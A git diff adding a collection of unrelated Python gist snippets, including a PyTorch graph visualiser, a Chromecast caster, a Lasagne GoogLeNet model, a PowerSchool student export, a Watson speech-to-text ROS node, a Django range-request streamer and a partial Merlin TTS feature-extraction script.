+    var_trace[oid][cid] = creator
+    # register creator and output and all inputs
+    vars[oid] = output
+    funcs[cid] = creator
+
+hooks = []
+
+def register_vis_hooks(model):
+    global var_trace, func_trace, vars, funcs
+    remove_vis_hooks()
+    var_trace  = defaultdict(lambda: {})     # map oid to {cid:creator}
+    func_trace = defaultdict(lambda: {})     # map cid to {iid:input}
+    vars  = {}                               # map vid to Variable/Parameter
+    funcs = {}                               # map cid to Function/BatchNorm module
+    hooks = []                               # contains the forward hooks, needed for hook removal
+
+    def hook_func(module, inputs, output):
+        assert 'BatchNorm' in mod.__class__.__name__        # batchnorms don't have shared superclass
+        inputs = list(inputs)
+        for p in [module.weight, module.bias]:
+            if p is not None:
+                inputs.append(p)
+        register_creator(inputs, module, output)
+
+    for mod in model.modules():
+        if 'BatchNorm' in mod.__class__.__name__:           # batchnorms don't have shared superclass
+            hook = mod.register_forward_hook(hook_func)
+            hooks.append(hook)
+
+    def new_function__call__(self, *args, **kwargs):
+        inputs =  [a for a in args            if isinstance(a, Variable)]
+        inputs += [a for a in kwargs.values() if isinstance(a, Variable)]
+        output = old_function__call__(self, *args, **kwargs)
+        register_creator(inputs, self, output)
+        return output
+
+    Function.__call__ = new_function__call__
+
+
+def remove_vis_hooks():
+    for hook in hooks:
+        hook.remove()
+
+    Function.__call__ = old_function__call__
+
+
+def save_visualization(name, format='svg'):
+    g = graphviz.Digraph(format=format)
+    def sizestr(var):
+        size = [int(i) for i in list(var.size())]
+        return str(size)
+    # add variable nodes
+    for vid, var in vars.iteritems():
+        if isinstance(var, nn.Parameter):
+            g.node(str(vid), label=sizestr(var), shape='ellipse', style='filled', fillcolor='red')
+        elif isinstance(var, Variable):
+            g.node(str(vid), label=sizestr(var), shape='ellipse', style='filled', fillcolor='lightblue')
+        else:
+            assert False, var.__class__
+    # add creator nodes
+    for cid in func_trace:
+        creator = funcs[cid]
+        g.node(str(cid), label=str(creator.__class__.__name__), shape='rectangle', style='filled', fillcolor='orange')
+    # add edges between creator and inputs
+    for cid in func_trace:
+        for iid in func_trace[cid]:
+            g.edge(str(iid), str(cid))
+    # add edges between outputs and creators
+    for oid in var_trace:
+        for cid in var_trace[oid]:
+            g.edge(str(cid), str(oid))
+    g.render(name)
+
diff --git a/hard-gists/cad6d3d223fc8d769227/._snippet.py b/hard-gists/cad6d3d223fc8d769227/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cad6d3d223fc8d769227/._snippet.py differ
diff --git a/hard-gists/cad6d3d223fc8d769227/snippet.py b/hard-gists/cad6d3d223fc8d769227/snippet.py
new file mode 100644
index 00000000..218aa848
--- /dev/null
+++ b/hard-gists/cad6d3d223fc8d769227/snippet.py
@@ -0,0 +1,15 @@
+import pandas as pd
+from sklearn.feature_extraction import DictVectorizer
+
+def one_hot_dataframe(data, cols, replace=False):
+    """ Takes a dataframe and a list of columns that need to be encoded.
+        Returns a 3-tuple comprising the data, the vectorized data,
+        and the fitted vectorizor."""
+    vec = DictVectorizer(sparse=False)
+    vecData = pd.DataFrame(vec.fit_transform(data[cols].T.to_dict().values()))
+    vecData.columns = vec.get_feature_names()
+    vecData.index = data.index
+    if replace is True:
+        data = data.drop(cols, axis=1)
+        data = data.join(vecData)
+    return (data, vecData, vec)
\ No newline at end of file
diff --git a/hard-gists/cadedd0dd0d4c966462b/._snippet.py b/hard-gists/cadedd0dd0d4c966462b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cadedd0dd0d4c966462b/._snippet.py differ
diff --git a/hard-gists/cadedd0dd0d4c966462b/snippet.py b/hard-gists/cadedd0dd0d4c966462b/snippet.py
new file mode 100644
index 00000000..398005f5
--- /dev/null
+++ b/hard-gists/cadedd0dd0d4c966462b/snippet.py
@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+
+"""
+Requires pychromecast.
+
+Install with `pip install pychromecast`
+
+usage: cast.py [-h] -d DEVICE -v VIDEO
+
+Cast YouTube videos headlessly.
+
+optional arguments:
+  -h, --help            show this help message and exit
+  -d DEVICE, --device DEVICE
+                        Name of device to cast to. Choose: Living Room
+  -v VIDEO, --video VIDEO
+                        YouTube video ID (part after ?v= in the URL)
+"""
+import time
+import signal
+import argparse
+from threading import Event
+
+import pychromecast
+from pychromecast.controllers.youtube import YouTubeController
+
+# Triggers program exit
+shutdown = Event()
+
+def signal_handler(x,y):
+   shutdown.set()
+
+# Listen for these signals
+signal.signal(signal.SIGTERM, signal_handler)
+signal.signal(signal.SIGQUIT, signal_handler)
+signal.signal(signal.SIGINT, signal_handler)
+
+# A list of Chromecast devices broadcasting
+chromecast_devices = ', '.join(pychromecast.get_chromecasts_as_dict().keys())
+
+# Some command line help
+parser = argparse.ArgumentParser(description='Cast YouTube videos headlessly.')
+parser.add_argument('-d', '--device', required=True, help='Name of device to cast to. Choose: %s' % chromecast_devices)
+parser.add_argument('-v', '--video', required=True, help='YouTube video ID (part after ?v= in the URL)')
+
+opts = parser.parse_args()
+
+cast_device = opts.device
+youtube_id = opts.video
+
+# Initialize a connection to the Chromecast
+cast = pychromecast.get_chromecast(friendly_name=cast_device)
+
+# Create and register a YouTube controller
+yt = YouTubeController()
+cast.register_handler(yt)
+
+# Play the video ID we've been given
+yt.play_video(youtube_id)
+
+print("Streaming %s to %s" % (youtube_id, cast_device))
+
+# Wait for a signal that we should shut down
+while not shutdown.is_set():
+   time.sleep(1)
+
+print("Stopping stream...")
+cast.quit_app()
\ No newline at end of file
diff --git a/hard-gists/caeb0a6dc89d9e7ec48d/._snippet.py b/hard-gists/caeb0a6dc89d9e7ec48d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/caeb0a6dc89d9e7ec48d/._snippet.py differ
diff --git a/hard-gists/caeb0a6dc89d9e7ec48d/snippet.py b/hard-gists/caeb0a6dc89d9e7ec48d/snippet.py
new file mode 100644
index 00000000..3ae91103
--- /dev/null
+++ b/hard-gists/caeb0a6dc89d9e7ec48d/snippet.py
@@ -0,0 +1,12 @@
+#put the code in a python tag
+#add a user data button to the tag
+
+import c4d
+
+#user data button
+def message(id, data):
+    if id == 17: 
+        print "UserData-ID: ", data["descid"][1].id
+
+def main():
+    pass
\ No newline at end of file
diff --git a/hard-gists/cb0833a03a7d30c6d6e0/._snippet.py b/hard-gists/cb0833a03a7d30c6d6e0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cb0833a03a7d30c6d6e0/._snippet.py differ
diff --git a/hard-gists/cb0833a03a7d30c6d6e0/snippet.py b/hard-gists/cb0833a03a7d30c6d6e0/snippet.py
new file mode 100644
index 00000000..2be73579
--- /dev/null
+++ b/hard-gists/cb0833a03a7d30c6d6e0/snippet.py
@@ -0,0 +1,86 @@
+from lasagne.layers import InputLayer
+from lasagne.layers import DenseLayer
+from lasagne.layers import ConcatLayer
+from lasagne.layers import NonlinearityLayer
+from lasagne.layers import GlobalPoolLayer
+from lasagne.layers.dnn import Conv2DDNNLayer as ConvLayer
+from lasagne.layers.dnn import MaxPool2DDNNLayer as PoolLayerDNN
+from lasagne.layers import MaxPool2DLayer as PoolLayer
+from lasagne.layers import LocalResponseNormalization2DLayer as LRNLayer
+from lasagne.nonlinearities import softmax, linear
+
+
+def build_inception_module(name, input_layer, nfilters):
+    # nfilters: (pool_proj, 1x1, 3x3_reduce, 3x3, 5x5_reduce, 5x5)
+    net = {}
+    net['pool'] = PoolLayerDNN(input_layer, pool_size=3, stride=1, pad=1)
+    net['pool_proj'] = ConvLayer(net['pool'], nfilters[0], 1)
+
+    net['1x1'] = ConvLayer(input_layer, nfilters[1], 1)
+
+    net['3x3_reduce'] = ConvLayer(input_layer, nfilters[2], 1)
+    net['3x3'] = ConvLayer(net['3x3_reduce'], nfilters[3], 3, pad=1)
+
+    net['5x5_reduce'] = ConvLayer(input_layer, nfilters[4], 1)
+    net['5x5'] = ConvLayer(net['5x5_reduce'], nfilters[5], 5, pad=2)
+
+    net['output'] = ConcatLayer([
+        net['1x1'],
+        net['3x3'],
+        net['5x5'],
+        net['pool_proj'],
+        ])
+
+    return {'{}/{}'.format(name, k): v for k, v in net.items()}
+
+
+def build_model():
+    net = {}
+    net['input'] = InputLayer((None, 3, None, None))
+    net['conv1/7x7_s2'] = ConvLayer(net['input'], 64, 7, stride=2, pad=3)
+    net['pool1/3x3_s2'] = PoolLayer(net['conv1/7x7_s2'], 3, stride=2, ignore_border=False)
+    net['pool1/norm1'] = LRNLayer(net['pool1/3x3_s2'], alpha=0.00002, k=1)
+    net['conv2/3x3_reduce'] = ConvLayer(net['pool1/norm1'], 64, 1)
+    net['conv2/3x3'] = ConvLayer(net['conv2/3x3_reduce'], 192, 3, pad=1)
+    net['conv2/norm2'] = LRNLayer(net['conv2/3x3'], alpha=0.00002, k=1)
+    net['pool2/3x3_s2'] = PoolLayer(net['conv2/norm2'], 3, stride=2)
+
+    net.update(build_inception_module('inception_3a',
+                                      net['pool2/3x3_s2'],
+                                      [32, 64, 96, 128, 16, 32]))
+    net.update(build_inception_module('inception_3b',
+                                      net['inception_3a/output'],
+                                      [64, 128, 128, 192, 32, 96]))
+    net['pool3/3x3_s2'] = PoolLayer(net['inception_3b/output'], 3, stride=2)
+
+    net.update(build_inception_module('inception_4a',
+                                      net['pool3/3x3_s2'],
+                                      [64, 192, 96, 208, 16, 48]))
+    net.update(build_inception_module('inception_4b',
+                                      net['inception_4a/output'],
+                                      [64, 160, 112, 224, 24, 64]))
+    net.update(build_inception_module('inception_4c',
+                                      net['inception_4b/output'],
+                                      [64, 128, 128, 256, 24, 64]))
+    net.update(build_inception_module('inception_4d',
+                                      net['inception_4c/output'],
+                                      [64, 112, 144, 288, 32, 64]))
+    net.update(build_inception_module('inception_4e',
+                                      net['inception_4d/output'],
+                                      [128, 256, 160, 320, 32, 128]))
+    net['pool4/3x3_s2'] = PoolLayer(net['inception_4e/output'], 3, stride=2)
+
+    net.update(build_inception_module('inception_5a',
+                                      net['pool4/3x3_s2'],
+                                      [128, 256, 160, 320, 32, 128]))
+    net.update(build_inception_module('inception_5b',
+                                      net['inception_5a/output'],
+                                      [128, 384, 192, 384, 48, 128]))
+
+    net['pool5/7x7_s1'] = GlobalPoolLayer(net['inception_5b/output'])
+    net['loss3/classifier'] = DenseLayer(net['pool5/7x7_s1'],
+                                         num_units=1000,
+                                         nonlinearity=linear)
+    net['prob'] = NonlinearityLayer(net['loss3/classifier'],
+                                    nonlinearity=softmax)
+    return net
diff --git a/hard-gists/cb2b90523c592abe7ae4/._snippet.py b/hard-gists/cb2b90523c592abe7ae4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cb2b90523c592abe7ae4/._snippet.py differ
diff --git a/hard-gists/cb2b90523c592abe7ae4/snippet.py b/hard-gists/cb2b90523c592abe7ae4/snippet.py
new file mode 100644
index 00000000..32048146
--- /dev/null
+++ b/hard-gists/cb2b90523c592abe7ae4/snippet.py
@@ -0,0 +1,129 @@
+#! /usr/bin/env python
+
+from sqlalchemy import *
+from sqlalchemy.sql import select
+from ps_db_utils import *
+import csv
+import os
+import shutil
+from datetime import *
+
+
+class StudentData(object):
+
+	def __init__(self):
+		self.fields_for_moodle = [
+			'id',
+			'dcid',
+			'my_custom_field1',
+			'student_number',
+			'first_name',
+			'last_name',
+			'city',
+			'schoolid',
+			'grade_level',
+			'graduation_year',
+			'my_custom_field2',
+		]
+		self.minimum_grade_level = 2
+		self.maximum_grade_level = 99
+		
+		self.db = PsDB()
+		
+		self.table = self.db.reverse_table("students")
+		self.table_fields = self.table.c.keys()
+		
+		self.custom_fields = None
+		self.custom_fields_table = None
+		if "u_studentsuserfields" not in self.db.meta.tables.keys():
+			self.custom_fields_table = Table("u_studentsuserfields", self.db.meta,
+				Column('studentsdcid', String(50), primary_key=True),
+				Column('studentsdcid', Integer, ForeignKey("students.dcid"), primary_key=True),
+				autoload=True)
+		else:
+			self.custom_fields_table = self.db.meta.tables["u_studentsuserfields"]
+
+		if self.custom_fields_table != None:
+			self.custom_fields = self.custom_fields_table.c.keys()
+
+
+def get_field(main_row, custom_row, student_data, field_name):
+	if field_name in student_data.table_fields:
+		return main_row.__dict__[field_name]
+	elif field_name in student_data.custom_fields:
+		return custom_row.__dict__[field_name]
+	return None
+
+def valid_student(row, student_data):
+	enrolled = False
+	valid_grade = False
+
+	# Is student enrolled or pre-enrolled and with a start date in the next 5 days?
+	# "0" is active (False boolean value), anything else is inactive.
+	# "-1"
+	if row.enroll_status == 0:
+		enrolled = True
+	if row.enroll_status == -1 and row.entrydate:
+		# Parse entrydate, and make it three days earlier
+		#entry_date = datetime.strptime(row.entrydate[0:10],"%Y-%m-%d") + timedelta(days=-3)
+		entry_date = row.entrydate + timedelta(days=-14)
+		print "Found pre-registered! dcid %s, entry_date %s" % (row.dcid, entry_date, )
+		if entry_date < datetime.now():
+			enrolled = True
+
+	# Check grade level, if enroll_status is ok!
+	if row.grade_level >= student_data.minimum_grade_level and row.grade_level <= student_data.maximum_grade_level:
+		valid_grade = True
+	else:
+		valid_grade = False
+
+	return enrolled and valid_grade
+
+
+def ps_fullexport_students():
+
+	print "PowerSchool Export of Students data started."
+
+	db = PsDB()
+
+	student_data = StudentData()
+
+	header = []
+	for field in student_data.fields_for_moodle:
+		header.append(field)
+
+	correct_students_file_name = "ps_students.csv"
+	print "Writing data to files %s" % correct_students_file_name
+
+	correct_students_file = open(correct_students_file_name, 'wb')
+	correct_students_writer = csv.writer(correct_students_file,dialect='excel')
+	correct_students_writer.writerow(header)
+
+	print "Header written to files."
+
+	count = 0
+
+	main_student_data = db.get_session().query(student_data.table).all()
+	custom_student_data = db.get_session().query(student_data.custom_fields_table).all()
+	for row in main_student_data:
+		# Full Dump Line
+		line = []
+		# Student specific restriction!!! "0" is active (False boolean value), anything else is inactive.
+		if valid_student(row, student_data):
+			for cf in custom_student_data:
+				if row.dcid == cf.studentsdcid:
+					for field in student_data.fields_for_moodle:
+						line.append( get_field(row, cf, student_data, field) )
+
+					if line:
+						writer = correct_students_writer
+						count = count + 1
+						writer.writerow(line)
+						if count % 50 == 0:
+							print "Exported %s records." % count
+
+	correct_students_file.close()
+	print "Finished. Exported %s records in total." % count
+
+if __name__ == "__main__":
+	ps_fullexport_students()
diff --git a/hard-gists/cb5a28fa8d4db3fc1ba51894663c1aed/._snippet.py b/hard-gists/cb5a28fa8d4db3fc1ba51894663c1aed/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cb5a28fa8d4db3fc1ba51894663c1aed/._snippet.py differ
diff --git a/hard-gists/cb5a28fa8d4db3fc1ba51894663c1aed/snippet.py b/hard-gists/cb5a28fa8d4db3fc1ba51894663c1aed/snippet.py
new file mode 100644
index 00000000..611bfed9
--- /dev/null
+++ b/hard-gists/cb5a28fa8d4db3fc1ba51894663c1aed/snippet.py
@@ -0,0 +1,113 @@
+#!/usr/bin/env python
+
+"""Needed:
+sudo pip install ws4py
+"""
+
+from ws4py.client.threadedclient import WebSocketClient
+import base64
+import json
+import ssl
+import subprocess
+import threading
+import time
+import rospy
+from std_msgs.msg import String
+
+"""
+From the website:
+{
+  "url": "https://stream.watsonplatform.net/speech-to-text/api",
+  "password": "",
+  "username": ""
+}
+"""
+
+
+class SpeechToTextClient(WebSocketClient):
+    def __init__(self, recognized_callback):
+        self.ws_url = "wss://stream.watsonplatform.net/speech-to-text/api/v1/recognize"
+        username = ""
+        password = ""
+        auth_string = "%s:%s" % (username, password)
+        self.base64string = base64.encodestring(auth_string).replace("\n", "")
+        self.recognized_callback = recognized_callback
+        self.listening = False
+
+        try:
+            WebSocketClient.__init__(self, self.ws_url,
+                                     headers=[("Authorization",
+                                               "Basic %s" % self.base64string)])
+            self.connect()
+        except:
+            print "Failed to open WebSocket."
+
+    def opened(self):
+        self.send('{"action": "start", "content-type": "audio/l16;rate=16000", "inactivity_timeout":-1}')
+        self.stream_audio_thread = threading.Thread(target=self.stream_audio)
+        self.stream_audio_thread.start()
+
+    def received_message(self, message):
+        # print "type of message: " + str(type(message))
+        message = json.loads(str(message))
+        if "state" in message:
+            if message["state"] == "listening" and not self.listening:
+                self.listening = True
+        elif "results" in message:
+            self.recognized_callback(message["results"])
+            # To keep listening we need to send an empty payload
+            # http://www.ibm.com/watson/developercloud/doc/speech-to-text/websockets.shtml#WSstop
+            self.send(bytearray(''), binary=True)
+        elif "error" in message:
+            # We are currently asking for inactivity_timeout infinite
+            # but
+            # To keep it open we could send every... 25s this, instead:
+            # self.send('{"action": "no-op"}')
+            pass
+        print "Message received: " + str(message)
+
+    def stream_audio(self):
+        while not self.listening:
+            time.sleep(0.1)
+
+        # reccmd = ["arecord", "-f", "S16_LE", "-r", "16000", "-t", "raw"]
+        # For PR2
+        reccmd = ["arecord", "-D", "plug:mixin", "-f", "S16_LE", "-r", "16000", "-t", "raw"]
+        p = subprocess.Popen(reccmd, stdout=subprocess.PIPE)
+
+        while self.listening:
+            data = p.stdout.read(1024)
+
+            try:
+                self.send(bytearray(data), binary=True)
+            except ssl.SSLError as e:
+                print "error: " + str(e)
+
+        p.kill()
+
+    def close(self, *args):
+        self.listening = False
+        self.stream_audio_thread.join()
+        WebSocketClient.close(self)
+
+
+class WatsonSTTPub(object):
+    def __init__(self):
+        self.stt_client = SpeechToTextClient(self.recognized_cb)
+        self.pub = rospy.Publisher('/watson_stt', String, queue_size=1)
+
+    def recognized_cb(self, results):
+        print results
+        # [{u'alternatives': [{u'confidence': 0.982, u'transcript': u'hello '}], u'final': True}]
+        if len(results) > 0 and len(results[0]["alternatives"]) > 0:
+            sentence = results[0]["alternatives"][0]["transcript"]
+            self.pub.publish(String(sentence))
+
+    def __del__(self):
+        self.stt_client.close()
+
+
+if __name__ == '__main__':
+    rospy.init_node('watson_stt')
+    wsttp = WatsonSTTPub()
+    rospy.spin()
diff --git a/hard-gists/cb5d8157a8fa5a4a046e/._snippet.py b/hard-gists/cb5d8157a8fa5a4a046e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cb5d8157a8fa5a4a046e/._snippet.py differ
diff --git a/hard-gists/cb5d8157a8fa5a4a046e/snippet.py b/hard-gists/cb5d8157a8fa5a4a046e/snippet.py
new file mode 100644
index 00000000..e16431b3
--- /dev/null
+++ b/hard-gists/cb5d8157a8fa5a4a046e/snippet.py
@@ -0,0 +1,59 @@
+from django.http import StreamingHttpResponse
+from wsgiref.util import FileWrapper
+import mimetypes
+import os
+import re
+
+range_re = re.compile(r'bytes\s*=\s*(\d+)\s*-\s*(\d*)', re.I)
+
+class RangeFileWrapper (object):
+    def __init__(self, filelike, blksize=8192, offset=0, length=None):
+        self.filelike = filelike
+        self.filelike.seek(offset, os.SEEK_SET)
+        self.remaining = length
+        self.blksize = blksize
+
+    def close(self):
+        if hasattr(self.filelike, 'close'):
+            self.filelike.close()
+
+    def __iter__(self):
+        return self
+
+    def next(self):
+        if self.remaining is None:
+            # If remaining is None, we're reading the entire file.
+            data = self.filelike.read(self.blksize)
+            if data:
+                return data
+            raise StopIteration()
+        else:
+            if self.remaining <= 0:
+                raise StopIteration()
+            data = self.filelike.read(min(self.remaining, self.blksize))
+            if not data:
+                raise StopIteration()
+            self.remaining -= len(data)
+            return data
+
+def stream(request, path):
+    range_header = request.META.get('HTTP_RANGE', '').strip()
+    range_match = range_re.match(range_header)
+    size = os.path.getsize(path)
+    content_type, encoding = mimetypes.guess_type(path)
+    content_type = content_type or 'application/octet-stream'
+    if range_match:
+        first_byte, last_byte = range_match.groups()
+        first_byte = int(first_byte) if first_byte else 0
+        last_byte = int(last_byte) if last_byte else size - 1
+        if last_byte >= size:
+            last_byte = size - 1
+        length = last_byte - first_byte + 1
+        resp = StreamingHttpResponse(RangeFileWrapper(open(path, 'rb'), offset=first_byte, length=length), status=206, content_type=content_type)
+        resp['Content-Length'] = str(length)
+        resp['Content-Range'] = 'bytes %s-%s/%s' % (first_byte, last_byte, size)
+    else:
+        resp = StreamingHttpResponse(FileWrapper(open(path, 'rb')), content_type=content_type)
+        resp['Content-Length'] = str(size)
+    resp['Accept-Ranges'] = 'bytes'
+    return resp
diff --git a/hard-gists/cc0ac48d34860c5bb3f9112f4d9a0300/._snippet.py b/hard-gists/cc0ac48d34860c5bb3f9112f4d9a0300/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cc0ac48d34860c5bb3f9112f4d9a0300/._snippet.py differ
diff --git a/hard-gists/cc0ac48d34860c5bb3f9112f4d9a0300/snippet.py b/hard-gists/cc0ac48d34860c5bb3f9112f4d9a0300/snippet.py
new file mode 100644
index 00000000..5b58ae63
--- /dev/null
+++ b/hard-gists/cc0ac48d34860c5bb3f9112f4d9a0300/snippet.py
@@ -0,0 +1,1424 @@
+from __future__ import print_function
+import os
+import shutil
+import stat
+import subprocess
+import time
+import numpy as np
+from scipy.io import wavfile
+import re
+import glob
+
+# File to extract features (mostly) automatically using the merlin speech
+# pipeline
+# example tts_env.sh file , written out by installer script install_tts.py
+# https://gist.github.com/kastnerkyle/001a58a58d090658ee5350cb6129f857
+"""
+export ESTDIR=/Tmp/kastner/speech_synthesis/speech_tools/
+export FESTDIR=/Tmp/kastner/speech_synthesis/festival/
+export FESTVOXDIR=/Tmp/kastner/speech_synthesis/festvox/
+export VCTKDIR=/Tmp/kastner/vctk/VCTK-Corpus/
+export HTKDIR=/Tmp/kastner/speech_synthesis/htk/
+export SPTKDIR=/Tmp/kastner/speech_synthesis/SPTK-3.9/
+export HTSENGINEDIR=/Tmp/kastner/speech_synthesis/hts_engine_API-1.10/
+export HTSDEMODIR=/Tmp/kastner/speech_synthesis/HTS-demo_CMU-ARCTIC-SLT/
+export HTSPATCHDIR=/Tmp/kastner/speech_synthesis/HTS-2.3_for_HTL-3.4.1/
+export MERLINDIR=/Tmp/kastner/speech_synthesis/latest_features/merlin/
+"""
+
+# Not currently needed...
+def subfolder_select(subfolders):
+    r = [sf for sf in subfolders if sf == "p294"]
+    if len(r) == 0:
+        raise ValueError("Error: subfolder_select failed")
+    return r
+
+# Need to edit the conf...
+def replace_conflines(conf, match, sub, replace_line="%s: %s\n"):
+    replace = None
+    for n, l in enumerate(conf):
+        if l[:len(match)] == match:
+            replace = n
+            break
+    conf[replace] = replace_line % (match, sub)
+    return conf
+
+def replace_write(fpath, match, sub, replace_line="%s: %s\n"):
+    with open(fpath, "r") as f:
+        conf = f.readlines()
+    conf = replace_conflines(conf, match, sub, replace_line=replace_line)
+
+    with open(fpath, "w") as f:
+        f.writelines(conf)
+
+def copytree(src, dst, symlinks=False, ignore=None):
+    if not os.path.exists(dst):
+        os.makedirs(dst)
+        shutil.copystat(src, dst)
+    lst = os.listdir(src)
+    if ignore:
+        excl = ignore(src, lst)
+        lst = [x for x in lst if x not in excl]
+    for item in lst:
+        s = os.path.join(src, item)
+        d = os.path.join(dst, item)
+        if symlinks and os.path.islink(s):
+            if os.path.lexists(d):
+                os.remove(d)
+            os.symlink(os.readlink(s), d)
+            try:
+                st = os.lstat(s)
+                mode = stat.S_IMODE(st.st_mode)
+                os.lchmod(d, mode)
+            except:
+                pass  # lchmod not available
+        elif os.path.isdir(s):
+            copytree(s, d, symlinks, ignore)
+        else:
+            shutil.copy2(s, d)
+
+# Convenience function to reuse the defined env
+def pwrap(args, shell=False):
+    p = subprocess.Popen(args, shell=shell, stdout=subprocess.PIPE,
+                         stdin=subprocess.PIPE, stderr=subprocess.PIPE,
+                         universal_newlines=True)
+    return p
+
+# Print output
+# http://stackoverflow.com/questions/4417546/constantly-print-subprocess-output-while-process-is-running
+def execute(cmd, shell=False):
+    popen = pwrap(cmd, shell=shell)
+    for stdout_line in iter(popen.stdout.readline, ""):
+        yield stdout_line
+
+    popen.stdout.close()
+    return_code = popen.wait()
+    if return_code:
+        raise subprocess.CalledProcessError(return_code, cmd)
+
+
+def pe(cmd, shell=False):
+    """
+    Print and execute command on system
+    """
+    ret = []
+    for line in execute(cmd, shell=shell):
+        ret.append(line)
+        print(line, end="")
+    return ret
+
+
+# from merlin
+def load_binary_file(file_name, dimension):
+    fid_lab = open(file_name, 'rb')
+    features = np.fromfile(fid_lab, dtype=np.float32)
+    fid_lab.close()
+    assert features.size % float(dimension) == 0.0,'specified dimension %s not compatible with data'%(dimension)
+    features = features[:(dimension * (features.size / dimension))]
+    features = features.reshape((-1, dimension))
+    return  features
+
+def array_to_binary_file(data, output_file_name):
+    data = np.array(data, 'float32')
+    fid = open(output_file_name, 'wb')
+    data.tofile(fid)
+    fid.close()
+
+def load_binary_file_frame(file_name, dimension):
+    fid_lab = open(file_name, 'rb')
+    features = np.fromfile(fid_lab, dtype=np.float32)
+    fid_lab.close()
+    assert features.size % float(dimension) == 0.0,'specified dimension %s not compatible with data'%(dimension)
+    frame_number = features.size / dimension
+    features = features[:(dimension * frame_number)]
+    features = features.reshape((-1, dimension))
+    return  features, frame_number
+
+
+# Source the tts_env_script
+env_script = "tts_env.sh"
+if os.path.isfile(env_script):
+    command = 'env -i bash -c "source %s && env"' % env_script
+    for line in execute(command, shell=True):
+        key, value = line.split("=")
+        # remove newline
+        value = value.strip()
+        os.environ[key] = value
+else:
+    raise IOError("Cannot find file %s" % env_script)
+
+festdir = os.environ["FESTDIR"]
+festvoxdir = os.environ["FESTVOXDIR"]
+estdir = os.environ["ESTDIR"]
+sptkdir = os.environ["SPTKDIR"]
+# generalize to more than VCTK when this is done...
+
+vctkdir = os.environ["VCTKDIR"]
+htkdir = os.environ["HTKDIR"]
+merlindir = os.environ["MERLINDIR"]
+
+def extract_intermediate_features(wav_path, txt_path, keep_silences=False,
+                                  full_features=False, ehmm_max_n_itr=1):
+    basedir = os.getcwd()
+    latest_feature_dir = "latest_features"
+    if not os.path.exists(latest_feature_dir):
+        os.mkdir(latest_feature_dir)
+
+    os.chdir(latest_feature_dir)
+    latest_feature_dir = os.getcwd()
+
+    if not os.path.exists("merlin"):
+        clone_cmd = "git clone https://github.com/kastnerkyle/merlin"
+        pe(clone_cmd, shell=True)
+
+    if keep_silences:
+        # REMOVE SILENCES TO MATCH JOSE PREPROC
+        os.chdir("merlin/src")
+        pe("sed -i.bak -e '708,712d;' run_merlin.py", shell=True)
+        pe("sed -i.bak -e '695,706d;' run_merlin.py", shell=True)
+        os.chdir(latest_feature_dir)
+
+    os.chdir("merlin")
+    merlin_dir = os.getcwd()
+    os.chdir("egs/build_your_own_voice/s1")
+    experiment_dir = os.getcwd()
+
+    if not os.path.exists("database"):
+        print("Creating database and copying in files")
+        pe("bash -x 01_setup.sh my_new_voice 2>&1", shell=True)
+
+        # Copy in wav files
+        wav_partial_path = wav_path #vctkdir + "wav48/"
+        """
+        subfolders = sorted(os.listdir(wav_partial_path))
+        # only p294 for now...
+        subfolders = subfolder_select(subfolders)
+        os.chdir("database/wav")
+        for sf in subfolders:
+            wav_path = wav_partial_path + sf + "/*.wav"
+            pe("cp %s ." % wav_path, shell=True)
+        """
+        to_copy = os.listdir(wav_partial_path)
+        if len([tc for tc in to_copy if tc[-4:] == ".wav"]) == 0:
+            raise IOError("Unable to find any wav files in %s, make sure the filenames end in .wav!" % wav_partial_path)
+        os.chdir("database/wav")
+        if wav_partial_path[-1] != "/":
+            wav_partial_path = wav_partial_path + "/"
+        wav_match_path = wav_partial_path + "*.wav"
+        for fi in glob.glob(wav_match_path):
+            pe("echo %s; cp %s ." % (fi, fi), shell=True)
+        # THIS MAY FAIL IF TOO MANY WAV FILES
+        # pe("cp %s ." % wav_match_path, shell=True)
+        for f in os.listdir("."):
+            # This is only necessary because of corrupted files...
+            fs, d = wavfile.read(f)
+            wavfile.write(f, fs, d)
+
+        # downsample the files
+        get_sr_cmd = 'file `ls *.wav | head -n 1` | cut -d " " -f 12'
+        sr = pe(get_sr_cmd, shell=True)
+        sr_int = int(sr[0].strip())
+        print("Got samplerate {}, converting to 16000".format(sr_int))
+        # was assuming all were 48000
+        convert = estdir + "bin/ch_wave $i -o tmp_$i -itype wav -otype wav -F 16000 -f {}".format(sr_int)
+        pe("for i in *.wav; do echo %s; %s; mv tmp_$i $i; done" % (convert, convert), shell=True)
+
+        os.chdir(experiment_dir)
+        txt_partial_path = txt_path #vctkdir + "txt/"
+        """
+        subfolders = sorted(os.listdir(txt_partial_path))
+        # only p294 for now...
+        subfolders = subfolder_select(subfolders)
+        os.chdir("database/txt")
+        for sf in subfolders:
+            txt_path = txt_partial_path + sf + "/*.txt"
+            pe("cp %s ." % txt_path, shell=True)
+        """
+        os.chdir("database/txt")
+        to_copy = os.listdir(txt_partial_path)
+        if len([tc for tc in to_copy if tc[-4:] == ".txt"]) == 0:
+            raise IOError("Unable to find any txt files in %s. Be sure the filenames end in .txt!" % txt_partial_path)
+        txt_match_path = txt_partial_path + "/*.txt"
+        for fi in glob.glob(txt_match_path):
+            # escape string...
+            fi = re.escape(fi)
+            try:
+                pe("echo %s; cp %s ." % (fi, fi), shell=True)
+            except:
+                from IPython import embed; embed(); raise ValueError()
+
+        #pe("cp %s ." % txt_match_path, shell=True)
+
+    do_state_align = False
+    if do_state_align:
+        raise ValueError("Replace these lies with something that points at the right place")
+        os.chdir(merlin_dir)
+        os.chdir("misc/scripts/alignment/state_align")
+        pe("bash -x setup.sh 2>&1", shell=True)
+
+        with open("config.cfg", "r") as f:
+            config_lines = f.readlines()
+
+        # replace FESTDIR with the correct path
+        festdir_replace_line = None
+        for n, l in enumerate(config_lines):
+            if "FESTDIR=" in l:
+                festdir_replace_line = n
+                break
+
+        config_lines[festdir_replace_line] = "FESTDIR=%s\n" % festdir
+
+        # replace HTKDIR with the correct path
+        htkdir_replace_line = None
